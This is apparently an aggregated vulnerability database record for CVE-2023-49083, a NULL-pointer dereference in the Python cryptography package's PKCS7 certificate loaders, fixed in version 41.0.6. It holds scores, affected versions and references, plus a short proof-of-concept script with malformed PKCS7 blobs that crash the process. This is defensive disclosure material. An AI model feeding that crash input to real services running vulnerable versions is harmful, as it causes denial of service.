{"id":"CVE-2023-49083","aliases":["CVE-2023-49083","GHSA-jfhm-5ghh-2f97","PYSEC-2023-254"],"related":[],"kind":"vulnerability","state":"published","title":"cryptography vulnerable to NULL-dereference when loading PKCS7 certificates","summary":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.\n\n### PoC\nHere is a Python code that triggers the issue:\n```python\nfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates\n\npem_p7 = b\"\"\"\n-----BEGIN PKCS7-----\nMAsGCSqGSIb3DQEHAg==\n-----END PKCS7-----\n\"\"\"\n\nder_p7 = b\"\\x30\\x0B\\x06\\x09\\x2A\\x86\\x48\\x86\\xF7\\x0D\\x01\\x07\\x02\"\n\nload_pem_pkcs7_certificates(pem_p7)\nload_der_pkcs7_certificates(der_p7)\n```\n\n### Impact\nExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.","format":"markdown","source":"ghsa"},{"lang":"es","text":"cryptography es un paquete diseñado para exponer recetas y primitivas criptográficas a los desarrolladores de Python. Llamar a `load_pem_pkcs7_certificates` o `load_der_pkcs7_certificates` podría provocar una desreferencia de puntero NULL y un error de segmentación. La explotación de esta vulnerabilidad plantea un grave riesgo de Denegación de Servicio (DoS) para cualquier aplicación que intente deserializar un blob/certificado PKCS7. Las consecuencias se extienden a posibles interrupciones en la disponibilidad y estabilidad del sistema. Esta vulnerabilidad ha sido parcheada en la versión 41.0.6.","source":"nvd"}],"published":"2023-11-28T20:46:46.000Z","modified":"2026-09-10T03:49:59.095Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","score":5.9,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-476"],"affected":[{"ranges":[{"version":">= 3.1, < 41.0.6","status":"affected"}],"vendor":"pyca","product":"cryptography","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.1","status":"affected","fixed":"41.0.6"}],"ecosystem":"PyPI","package":"cryptography","purl":"pkg:pypi/cryptography","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"3.1","fixed":"41.0.6"}],"vendor":"cryptography.io","product":"cryptography","cpe":"cpe:2.3:a:cryptography.io:cryptography:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"f09c261ca10a31fe41b1262306db7f8f1da0e48a"},{"type":"ecosystem","introduced":"3.1","status":"affected","fixed":"41.0.6"}],"ecosystem":"PyPI","package":"cryptography","purl":"pkg:pypi/cryptography","repo":"https://github.com/pyca/cryptography","source":"pysec"}],"references":[{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyca/cryptography/pull/9926","tags":["fix","issue-tracking","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV/","tags":["web","x-transferred"],"sources":["cvelist","nvd","pysec"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49083","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pyca/cryptography","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV","tags":["web"],"sources":["ghsa"]},{"url":"http://www.openwall.com/lists/oss-security/2023/11/29/2","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-12-18T15:31:36.864Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-49083","url":"https://www.cve.org/CVERecord?id=CVE-2023-49083","licence":"CVE Terms of Use","modified":"2025-12-18T15:32:14.214Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jfhm-5ghh-2f97","url":"https://github.com/advisories/GHSA-jfhm-5ghh-2f97","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:59.095Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-49083","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49083","licence":"Public domain","modified":"2026-06-17T06:35:19.820Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2023-254","url":"https://osv.dev/vulnerability/PYSEC-2023-254","licence":"CC-BY-4.0","modified":"2024-02-17T07:41:40.326Z"}],"updatedAt":"2026-11-25T22:58:30.786Z","epss":{"score":0.01183,"percentile":0.68646,"date":"2026-12-01T12:00:22.000Z"}}